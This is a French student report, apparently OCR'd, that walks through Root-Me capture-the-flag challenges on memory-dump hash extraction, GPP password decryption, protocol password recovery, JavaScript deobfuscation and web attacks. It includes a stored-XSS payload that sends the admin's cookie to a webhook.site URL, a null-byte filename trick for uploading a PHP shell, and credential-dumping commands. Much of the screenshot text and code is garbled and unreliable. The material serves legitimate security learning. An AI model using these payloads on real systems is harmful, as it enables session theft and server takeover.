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INTRODUCTION :

La SAE 304, intitulée "Découvrir le Pentesting", avait pour but d’entrainer aux bases de la
cybersécurité en utilisant des challenges pratiques. Différents types de défis ont été proposés,
comme des exercices sur le web ou encore des tests de programmation. Ce projet, qui s’est
déroulé sur six jours, Ma permis de pratiquer et d’explorer des outils et techniques utiles dans le
domaine du pentesting.

Command & Control - niveau 5

Enoncé

Berthier, manifestement l'attaquant dispose des mots de passe des systemes. Le programme
malveillant semble étre maintenu manuellement sur les machines. Le parc de la société ACME
semblant a jour, c’est peut-étre les mots de passe qui sont faibles. John, 'administrateur des
systemes ne vous croit pas. Prouvez-lui.

Dans cet exemple, nous allons voir comment extraire un hash utilisateur a partir d’un fichier de
dump mémoire. L'opération nécessite de connaitre les offsets spécifiques de la ruche SYSTEM
et SAM dans la mémoire. Voici le processus détaillé :

Etape 1 : Identifier les Ruches de Registre

Pour commencer, on va utiliser Volatility pour localiser les emplacements des différentes
ruches de registre dans le fichier de dump mémoire.

Commande utilisée :
bash
Copier le code

$ ./vol.py -f /tmp/e3a902d4d44e0f7bd9cb29865e0a15de.dmp --profile Win7SP1x86 hivelist

Sortie de code :

srClass.dat

Dans cet exemple, les offsets pertinents sont les suivants :
e SYSTEM:0x8b21c008
e SAM:0x9aad6148

1 ———
NABIL CHAKER 2



Une fois les offsets identifiés, on peut utiliser la commande hashdump de Volatility pour
extraire les hashs NTLM des utilisateurs.

Commande utilisée : $ ./vol.py -f /tmp/e3a902d4d44e0f7bd9ch29865e0a15de.dmp --profile
Win7SP1x86 hashdump -y 0x8b21c008 -s 0x9aad6148

Administr

Pour finire en utilisant john the ripper on peut trouvé les mots de chaque utilisateur mais celui
qui nous permet de réussir ce challenge est PASSWORD

Active Directory - GPO

30 Points Group Policy Preferences

Enoncé

Une capture réseau réalisée au démarrage d’une station de travail, membre d’un domaine
Active Directory, a été effectuée lors d’un audit de sécurité. Analysez cette capture et retrouvez
le mot de passe de administrateur.

Vue d'ensemble des protocoles

Avant de plonger dans les détails des paquets, examinons une vue d'ensemble des différents
protocoles utilisés :

En explorant cette liste, le protocole SMB2 est celui qui nous intéresse car c’est un Protocole
souvent lié aux échanges sensibles

Liste de Paquet Filtre d'affichage ~ | Entrer un filtre d*affichage ..

Options: [UTF-8 / ASCII / UTF-16 Sensible a la casse Vers l'arriére

Time Source Destination Protocol Length Info

217 25.170688 10.0.2.15 10.0.2.30 TCP 66 88 > 49171 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=@ MSS=146@ WS=256 SACK_PERM
218 25.171028 10.0.2.3@ 10.6.2.15 TCP 54 49171 » 88 [ACK] Seq=1 Ack=1 Win=65536 Len=0
219 25.171106 10.0.2.3@ 10.6.2.15 KRB5 1427 TGS-REQ
220 25.171631 10.06.2.15 16.0.2.3@ KRB5 1440 TGS-REP
221 25.171827 10.0.2.30 10.9.2.15 TCP 54 49171 > 88 [FIN, ACK] Seq=1374 Ack=1387 Win=64256 Len=0
222 25.171988 10.0.2.15 10.6.2.30 TCP 54 88 - 49171 [ACK] Seq=1387 Ack=1375 Win=65536 Len=0
s ©.2.15 ACK] Seq=1387 Ack=1375 Win=@ Len=0
224 25.172292 10.0.2.30 10.0.2.15 TCP 1514 49169 > 445 [ACK] Seq=268 Ack=505 Win=65624 Len=1466 [TCP PDU reassembled in
225 25.172292 10.0.2.38 18.8.2.15 TCP 1514 49169 > 445 [ACK] Seq=1728 Ack=5@5 Win=65024 Len=1460 [TCP PDU reassembled ir
226 25.172292 10.0.2.30 10.0.2.15 SMB2 176 Session Setup Request
227 25.172499 10.0.2.15 10.0.2.3e TCP 54 445 - 49169 [ACK] Seq=505 Ack=3310 Win=65536 Len=0
228 25.173365 10.0.2.15 10.0.2.3e SMB2 314 Session Setup Response
229 25.173887 10.0.2.30 10.0.2.15 SMB2 192 Tree Connect Request Tree: \\WIN-2PVINPP4NMR.nilux.me\IPC$
230 25.174094 10.0.2.15 10.0.2.30 SMB2 138 Tree Connect Response
231 25.174428 10.8.2.3@ 108.08.2.15 SMB2 182 Ioctl Request FSCTL_DFS_GET_REFERRALS, File:
232 25.174721 10.0.2.15 10.0.2.3@ SMB2 248 Ioctl Response FSCTL_DFS_GET_REFERRALS
233 25.280028 PCSSystemtec_4a:78:.. Broadcast ARP 42 Who has 16.6.2.2? Tell 10.0.2.30
234 25.395100 10.0.2.3@ 16.6.2.15 TCP 54 49169 - 445 [ACK] Seq=3576 Ack=1043 Win=64512 Len=0
235 25.847674 10.0.2.30 10.6.2.255 NBNS 110 Registration NB NILUX<@8>
236 25.847785 10.0.2.30 10.6.2.255 NBNS 110 Registration NB PC-NILUX-ME<©@>
237 26.138988 10.8.2.30 10.8.2.15 DNS 75 Standard query @xcl3c A isatap.nilux.me
238 26.139420@ 10.0.2.15 10.0.2.30 DNS 146 Standard query response @xcl3c No such name A isatap.nilux.me SOA win-2pvinpp
239 26.161961 10.0.2.30 224.0.9.252 LLMNR 66 Standard query @xbe9l A isatap
249 26.201377 10.0.2.30 10.0.2.255 NBNS 110 Registration NB PC-NILUX-ME<20>
241 26.254033 PCSSystemtec_4a:78:.. Broadcast ARP 42 Who has 10.0.2.2? Tell 10.9.2.30
242 26.269779 10.0.2.30 224.0.09.252 LLMNR 66 Standard query @xbe9l A isatap

Filtrer sur SMB2 permetde :
e Réduire le nombre de paguets a examiner manuellement.
e Focaliser ’'analyse sur un protocole connu pour transmettre des données exploitables.
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Dans ce cas, cela a permis de localiser rapidement un fichier XML contenant un mot de passe
chiffré, clé pour résoudre le défi.

Fichier Al sture s Telephoni

ADACO mBRR JIe>2EF SR E

M smb2

SMB@ \1.9\k
\.{.1.A.3.E.E.4.C.4.-.7.0.B.E.-.4.9.8.8.-.8.0.8.0.-.3.3.C.8.E.E.B.D.3.5.9.8.}.\.g.p.t
MxAc . .QFid 2

Filtre d'affichage e

Options: Vers larriére

Time Sourc Destination Protocol Length Info
559 37.306567 .0.2. 10.0.2. SMB2 274 Create Request F
560 37.306908 10.0.2.15 10.0.2. SMB2 298 Create Response H -SM
561 37.307689 10.0.2.30 10.0.2. SMB2 190 Create Request F -SMBE. .
562 37.308046 10.0.2.15 10.0.2. SMB2 210 Create Response FllVersion=23|

563 37.308188 10.0.2.30 10.0.2. SMB2 162 GetInfo Request FAilldisplayName=Nouvel objet Strat.gie de groupe|
564 37.308410 10.0.2.15 10.0.2. SMB2 154 GetInfo Response

565 37.308742 10.0.2.30 10.0.2. DCERPC 330 Bind: call_id: 2

566 37.308995 10.0.2.15 10.0.2. SMB2 138 Write Response

567 37.309141 10.0.2.30 10.0.2. SMB2 171 Read Request Len

568 37.309339 10.0.2.15 10.0.2. DCERPC 254 Bind_ack: call_id

569 37.309634 10.0.2.30 10.0.2. SRVSVC 334 NetShareGetInfo

57@ 37.309978 10.0.2.15 10.0.2. SRVSVC 358 NetShareGetInfo .
571 37.310230 10.0.2.30 10.0.2. SMB2 146 Close Request FillJQ. .-MxAc............8........... ... - e
572 37.310524 10.0.2.15 10.0.2. SMB2 182 Close Response

573 37.336672 10.0.2.30 10.0.2. SMB2 330 Create Request F -SMB@ 3 B R e T PP P PP
574 37.337e11 10.0.2.15 10.0.2. SMB2 298 Create Response -E.. -

575 37.337441 10.0.2.30 l10.0.2. smB2 260 Find Request Filg

576 37.337852 10.0.2.15 10.0.2. SMB2 554 Find ;Fi

577 37.338022 10.0.2.30 10.0.2. SMB2 146 Close Request Fi

578 37.338204 10.0.2.15 10.0.2. sMB2 182 Close Response fM..... e K e

579 37.342768 10.0.2.30 10.0.2. SMB2 338 Create Request Fiflli. S -B.1.F. -n.e.\.P.r.e.f.e.r.e.n.c.e.s.
580 37.343153 10.0.2.15 10.0.2. SMB2 298 Create Response H .m. . . . QF RgLs.
581 37.343467 10.0.2.30 10.0.2. sMB2 260 Find Request Fil

582 37.343633 10.0.2.15 10.0.2. SMB2 862 Find Response;Fil

583 37.343770 10.0.2.30 10.0.2. SMB2 146 Close Request Fi.

584 37.343878 10.0.2.15 10.0.2. SMB2 182 Close Response

Frame 572: 182 by n wire (1456 bits), 182 bytes captured (1456 bits)

Ethernet II, Src: PCSSystemtec_77:6¢ 6), Dst: PCSSystemtec_4a:78:de (@8:

Internet Protocol Version 4, Src: 10.8.2.15,

~ Transmission Control Protocol, Src Port: 445, Dst Port: 49181, Seq: 8873, Ack: 9879, Len: 12 Fu€enenn [T <?xml version="1.0" encoding="utf-8"?>|

Source Port: 445 <Groups cls 3125E937-EB16-4b4c-9934-544FC6D24D26} " ><User clsid="{DF5F1855-51€5-4d24-8B1A-DIBDESBBAID1}" name="Helpdesk" image="2"
DRCINRE LN EOrRSIaI18Y 6 ©5:50:08" uid="{43F9FF29-C1 s action="U" newName="" fullName="" description="" cpassword="Psmt
[Stream index: 24] ICUVNMBYRADE 1CKH+FU- i acctDisable: " userName="Helpdesk"/></User><User clsid="{DF5F1¢
[Stream Packet Number: 75] 9BDE9SBA1D1}" name: ini = " " uid="{S5E34317F-8726-4F7C-BF8B-91B2ES2FB3F7}" userContext:

» [Conversation completeness: Incomplete, DATA (15)] "><Properties acti e { cpasswords="LjFHQMzS3GHDeaV7+0Q00S00MA3VWD30YZDVaItj8e0" chi
[TCP Segment Len: 128] ge="0" neverExpire: i

Sequence Number: 8873 (relative sequence number) < /Groups>)

name="Administrateur”
cpassword="LjFWQMzS3GWDeav7+0Q00So0OM43VwD30YZDValtj8e0"
ensuite on décript le mdp chiffré avec la commande:

gpp-decrypt LiIFWQMzS3GWDeav7+0Q00So0OM43VwD30YZDValtj8e0
Flag : TuM@sTrouv3

SIP — Authentification

20 Points
Enoncé
Retrouvez le mot de passe utilisé pour s’authentifier sur Uinfrastructure SIP.

L'objectif est de récupérer le mot de passe pour l'authentification de l'extension 555. Dans la
premiere ligne de log, nous pouvons voir que 'authentification REGISTER utilise un mot de
passe en texte clair avec la méthode PLAIN, et ce mot de passe est 1234.

Ainsi, en se basant sur cette premiere ligne de log, on peut conclure que le mot de passe pour
l'enregistrement de l'extension est 1234, tel qu'indiqué dans la section "PLAIN".

Les autres lignes, qui contiennent des requétes INVITE et BYE, utilisent une méthode
d'authentification plus sécurisée, MD5, et présentent des hashs du mot de passe. Cependant,
l'essentiel est que le mot de passe clair utilisé pour l'authentification REGISTER est 1234.
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.105.3"172.25.1085.40"555"asterisk"REGISTER"sip:172.25.1085.408"4787f7ce" """PLAIN"1234
.185.3"172.25.1085.40"555"asterisk"INVITE "sip: 1000@
.185.48"70fbfdae" " ""MD5"aa533f6efa2b2abac675cleebcbde327

.185.3"172.25.105.40"555"asterisk "BYE"sip: 1000@
.185.4@"7efbfdae""""MD5"0b306e9db1f819dd824act3227b60eB7

POP - APOP 15 Points

Authentification sécurisée

z

Enoncé:
Retrouver le mot de passe de Uutilisateur dans la trame réseau.

Pour celarien de plus simple vue gqu’une partie de la réponses se trouve dans le titre du
challenge. Ce qui nous indique que deux protocoles serons principalement utilisé pour se défis
POP et APOP

On peut voir que la trame réseau wireshark utilise APOP pour sécuriser 'authentification en
envoyant un challenge unique a chaque session.

Identifier les données pertinentes
Dans le flux TCP ci-dessous, une chaine spécifique attire ’attention :
4ddd4137b84ff2db7291b568289717f0 > mdp passe cryptée en md5

Cette chaine est un hash MD5. Le protocole APOP génére cet hash en combinant deux éléments

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless OQutils Aide
AODACe mBERBE Rex>2E% $E E @ HE
R pop

No. Source Destination Protocol Length Info
29 4.080634 .114.129.148 - +0K Hello little hackers. <1755.1.5f463625.BclGgpKz
APOP bsmith 4ddd4137b84ff2db7291b568289717f0
266 40.467182 - - E : +0K Logged in.
269 43.668469 o o N ISTS T
270 43.708565 o o c +0K 2 messages:[Malformed Packet]
291 49.515857 o o : RETR 1
292 49.545681 . . . : +0K 6 octets[Malformed Packet]
294 50.942755 - - : quit
295 50.976500 o o : +0K Logging out.

Frame 264: 112 bytes on wire (896 bits), 112 bytes captured (896 bits)
Ethernet II, Src: e8:71:b1:d9:4d:55 (e8:71:b1:d9:4d:55), Dst: ac:d9:f1:17:5b:f7 (ac:d9:f1:17:5b:17)
Internet Protocol Version 4, Src: 192.168.0.112, Dst: 167.114.129.140
Transmission Control Protocol, Src Port: 43188, Dst Port: 116, Seq: 1, Ack: 84, Len: 46
Post Office Protocol
~ APOP bsmith 4ddd4137b84ff2db7291b568289717f0\r\n
Request command: APOP
Request parameter: bsmith 4ddd4137b84ff2db7291b568289717f0
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Cependant, cette méthode repose sur MD5, un algorithme de hachage qui n’est plus considéré
comme sécurisé face aux attaques modernes. Les bases de données de hash permettent de
casser rapidement ce type de sécurité :

MD5 Center

MD5 conversion and reverse lookup

MD5 reverse for 4ddd4137b84ff2db7291

The MD5 hash 4ddd4137b84ff2db7291b568289717f0 was successfully reversed into the string <175

ss
Feel free to provide some other MD5 hashes you would like to try to reverse.

Reverse a MD5 hash

4ddd4137b84ff2db7291b56828971710

You can generate the MD5 hash of the string which was just reversed to have the proof that it is the <

Convert a string to a MD5 hash

<1755.1.57403625.BcWGgpKzUPRC8vscWnOwuA==@vps-7e2fba72>100%popprincess

En combinant notre analyse réseau et des outils de décryptage de hash, nous avons pu
retrouver le mot de passe utilisateur.
Le mot de passe final est : 100%popprincess

TCP - Laroue romaine

10 Points
Programmation réseau
Enoncé

Pour commencer cette épreuve utilisant le protocole TCP, vous devez vous connecter a un
programme sur une socket réseau.

Vous devez décoder la chaine de caractéeres encodée en ROT13 envoyée par le programme.
Vous avez 2 secondes pour envoyer la bonne réponse a partir du moment ou le programme
vous envoie la chaine.

La réponse doit étre envoyée sous la forme de string.

Le script commence par importer la bibliotheque Pwntools (via import pwn), un outil
freguemment utilisé dans le domaine de la sécurité informatique pour interagir avec des
services distants. La fonction principale du script, main, établit une connexion avec un serveur
situé a ’adresse challenge01.root-me.org sur le port 50201
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Fichier Machine FEcran Entrée Périphériques Aide

ElmPR O]

il (myenv)root @kali: fhomefkali/script
File Actions Edit View Help

GNU nano 8.2
Hmport pwn

active

__main__

% kali)-[/home/kali/script]

FLAG : RM{TCP_ROman_Wh33l!!

TCP - Uncompress Me 15 Points

Programmation réseau
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ode une

return

def main(

connec
pwn

# Affiche la chaine décodée

"Erreur rencontrée
finally:

# Fermer la connexion si elle est toujours active
try:

maind )

Copie d’ecran du resultat apres lancement du code :

of this

answer ? [+] s your fla

Javascript - Obfuscation 3 30 Points
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Dans un premier temps on voit qu’on a acces a une page web avec lequel on ne peut
absolument rien faire.

challenge01.root-me.org/w

GX Comer ~

B Modules 16 - 17: Ex Gen.net - L'ém AGANDO Shop
challenge01.root-me.org indique

FAUX JRD HAHA

Tout d’abord, il est essentiel d’analyser le code source pour identifier les fonctions JavaScript
disponibles.

<html>
<head>
<title>Obfuscation JS</title>
<script type="text/javascript”>
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(","');
var tab2 = pass.split(’,");var i,j,k,1=0,m,n,0,p = "";i = 8;j = tab.length;
k =3+ (1) + (n=0);
tab2.length;
for (i i j = n); i++ ){o = tab[i-1];p += String.fromCharCode((o = tab2[i]));

n); i++ ){

2 H
if(i > 5 && 1 < k-1)

p += String.fromCharCode((o = tab2[i]));

¥
p += String.fromCharCode(tab2[17]);
pass = p;return pass;

}
ST iy e BT R [ L R ST QA EAVE RV IAVEAVEIAVTAVE LAVELAVPIAVEFAVECIVEIAVE AVEXAVELAVP IAVEIAVELIVEIAVELAVEIAVE LAV e JAVEHAVEI AVE AV TAVEAAVE L AVEPAVPIAVE AVELAVEIAVE LAVE D) DH

h = window.prompt('Entrez le mot de passe / Enter password');
alert( dechiffre(h) );

/script>
/head>

/html>
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On remarque un appel a la fonction dechiffre() avec, en paramétre, une chaine codée en ASCII.
Cette chaine est ensuite passée comme argument a la fonction fromCharCode() :

Décodage pas a pas de la chaine ASCII :
1. Analyse de \x35:
o Endécimal, \x35 correspond a 5.
o Ainsi, \x35\x35\x2¢c donne "55,".
2. Utilisation de String.fromCharCode(55) :

o Celaretourne le caractere ASCII correspondant : 7.

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x3 1\x35\x2c\x36\x39\x2c\x31\x31\x34\x
2c\x31\x31\x36\x2¢c\x31\x30\x37\x2¢c\x34\x39\x2c\x35\x30

=>» ASCII 55,56,54,79,115,69,114,116,107,49,50
=>» Décimale: 7860sErtk12

La chaine "7860sErtk12" est le mot de passe du challenge.

FLAG : 7860sErtk12

XSS - Stockée 1 30 Points

Du gateau !

Enoncé

Volez le cookie de session de 'administrateur et utilisez le pour valider 'épreuve.
Défi XSS - Stockée 1 sur Root-Me

Objectif du défi:

Exploiter une vulnérabilité XSS pour voler les cookies de 'administrateur via un script
malveillant et utiliser ces cookies pour valider le défi.

Tester une injection XSS
e Injectez un script simple dans le champ "Message" pour tester la vulnérabilité, comme :
html
Copier le code
<script>alert('XSS')</script>

e Soumettez le formulaire. Si une fenétre d’alerte s’affiche lors du rechargement de la
page, cela signifie que le site est vulnérable au XSS stocké.

Attendre ’exécution par "administrateur

e Une fois que 'administrateur consulte la page contenant votre script, son navigateur
exécute le script et envoie ses cookies de session a votre URL Webhook.site.
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e Vérifiez les logs sur Webhook.site pour récupérer les cookies.

2ot M

Forum v0.001

Title:
a |

Message:

<script>window.location="https://webhook.site/abcl12345-
6789-def@-ghij-klmnopgrstuv?
cookie="+document.cookie</script>

send

<

N

Posted messages:

Welcome
N'hésitez pas a me laisser un message / Feel free to leave a message

te

(@ Webhook.si

Headers
t-language
2001:bc8 166::151 \ ys ViusTota accept-encoding

@ #4a2¢9 08/01/2025 22:27:00 (il y a un jour) referer
2001:bc8:35b0:c166::151 Size ( cfetch-de Jocunent
09/01/2026 22:27,00 T sec-fetch-mo navigate

upgrade-insecu

host

Query strings Form values

cookie ADIN_COOKTE=NKT9gedcdl TO2PTMISKS8ofD6

No content

Conclusion
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Le défi XSS - Stockée 1 est un excellent moyen d’apprendre a repérer et exploiter les
vulnérabilités XSS stockées. Cette attaque est courante et peut étre évitée avec de bonnes
pratiques de sécurité.

HTTP - Cookies
Lien : Challenge HTTP - Cookies
Score : 20 points

Description:

Indice : Il semblerait que Bob, U'administrateur, ait une passion pour les cookies...

En interceptant la réponse envoyée lors de la soumission d’un email dans le formulaire, on peut

observer un commentaire spécifique. Et pour sa on vas les voir dans burpsuite.

Method URL Params Edited Statuscode Length MIME type Extension Title TS IP
+01.root-me.c... GET Jweb-serveur/ch?c=visiteur v 200 563 HTML 21212938224
+01.root-me.c... GET [favicon.ico 404 216 HTML ico 404 Net Found 21212938224
:01.root-me.o... GET Jweb-serveur/ch7 2c=visiteur v 200 563 HTML 212129.38.224
101.root-me.o.. POST  fweb-serveur/ch7f?c=visiteur v 200 584 HTML 212129.38.224
e0lroot-me... GET Jweb-serveur/ch72c=admin v 401 766 HTML 401 Authorization Req... < 212129.38.224
:01.root-me.o... GET Jweb-serveurfch7Pc=admin v 200 536 HTML 212129.38.224
:01.root-me.o.. POST  fweb-serveur/ch7/?c=visiteur v 200 584 HTML 21212938224
‘01.root-me.o.. POST  fweb-serveur/ch7/?c=visiteur v 200 584 HTML 212129.38.224
:01.root-me.o.. POST  fweb-serveur/ch7/?c=visiteur v 200 584 HTML 21212938224
e0lroot-me... GET Jweb-serveurfch7fc=admin v 401 766 HTML 401 Authorization Req... v 212129.38.224
+01.root-me.c... GET fweb-serveur/ch7 Pc=admin b 200 536 HTML 21212938224
0l.root-me.c.. POST  fweb-serveur/ch7/c=visiteur v 200 584 HTML 212125.38.224
:01.root-me.o.. POST  fweb-serveur/ch7/?c=visiteur v 200 584 HTML 21212038224

Voici ce qu’on obtient de lors des requet envoyé en et regcus

Request
Pretty Raw Hex ® n =
1 POST /web-serveur/ch7/7c=visiteur HTTP/1.1

Host: challenge@l.root-me.org

Content-Length: 18

Cache-Control: max-age=0

Accept-Language: en-Us,en;g=0.9

origin: http://challengeOl.root-me.org
Content-Type: application/x-www-form-urlencoded

| Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;

x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome,/131.0.6778.86 Safari1/537.36

Accept:

text/html,application/xhtml+xml, application/xml;q
=0.9,1mage/avif,image/webp,1mage/apng, */*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7

Referer:
http://challengedl.root-me.org/web-serveur/ch7/7c
=visiteur

Accept-Encoding: gzip, deflate, br

rrankias ch7—meitanrs Aa—

S I ) B O VY N

10
11
12
13
14
15
15
17

Server: nginx
Date: Sat,

11 Jan 2025 11:08:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding

Set-Cookie: ch7=visithur

{brfb
<br/>
<fieldset>

<form method="POST" action="" name="a"=>

Email<br/=

8 Content-Length: 379

Response
Pretty Raw Hex Render B n =
1 HTTR/1.1 200 OK

<lnput type="text" name="mail" size="20" class=

"post2" value=""=

<br/=

hr i

En se basant sur U'indice, on modifie la réponse pour nous attribuer le cookie correspondant,
puis on envoie a nouveau un formulaire de maniere normale en faisant une injection.

ool-me.o. GET

web-serveur/ch7 frc=admin

-u"’

200

538

HTML
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https://but.pro.root-me.org/fr/Challenges/Web-Serveur/HTTP-cookies

On peux voir maintenant que les cookie on changé :

Avant :

Set-Cookie: ch7=visitpur

Apres :

ot — g
Set-Cookie: ch7=admin
Enfin, nous récupérons le flag : ml-SYMPA.

File upload - Null byte

Enoncé

Votre objectif est de compromettre cette galerie photo eny uploadant du code PHP.
Comprendre le "null byte"

Un "null byte" (%00 ou \0) permet de contourner les filtres de sécurité en séparant une extension
interdite d'une extension autorisée. Par exemple, en injectant %00 entre .php et .png, le serveur
ignore .php mais garde .png comme extension, ce qui permet de contourner les restrictions de
type de fichier.

2. Injection dans la requéte d'upload

Pour exploiter cette vulnérabilité, modifiez la requéte d'upload en insérant un "null byte" dans le
nom du fichier. Exemple :

bash

Copier le code

Content-Disposition: form-data; name="file"; filename="shell.php%00.png"
Content-Type: application/x-php

3. Exploitation du fichier téléchargé

Une fois le fichier téléchargé, on peuty accéder pour l'exploiter. Le serveur exécutera le fichier
PHP déguisé en .png, se qui nous permetd'obtenir un shell et de prendre le contrble du serveur.
Par exemple, vous pouvez y accéder via l'URL suivante :

http://challenge01.root-me.org/web-
serveur/ch22/galerie/upload/3cbefe99062d8c49ac5d38709bc83e8a/shell.php

4. Validation du challenge

1 ———
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Apres avoir pris le controle du Shell, on peut récupérer le mot de passe qui nous permettra de
valider le challenge. Exemple de message de succes:

Well done! You can validate this challenge with the password: YPNchi2NmTwygr2dgCCF

CONCLUSIONS

Cette SAE a été une expérience vraiment intéressante, qui m’a permis de progresser en
cybersécurité a travers différents challenges pratiques. J’ai notamment travaillé sur 'analyse de
vulnérabilités web et la programmation, ce qui m’a aidé a découvrir et a utiliser des outils
comme Burp Suite. Certains exercices, en particulier ceux en programmation, m’ont donné du fil
aretordre, mais ils m’ont permis de mieux comprendre mes points faibles et de voir ou je dois
encore progresset. A coté de ¢a, j’ai aussi pu mettre en avant certaines de mes forces, comme
ma capacité a analyser et résoudre des problemes plus concrets. Cette SAE m’a vraiment aidé a
mieux cerner mes compétences et les domaines ou je peux encore m’améliorer.
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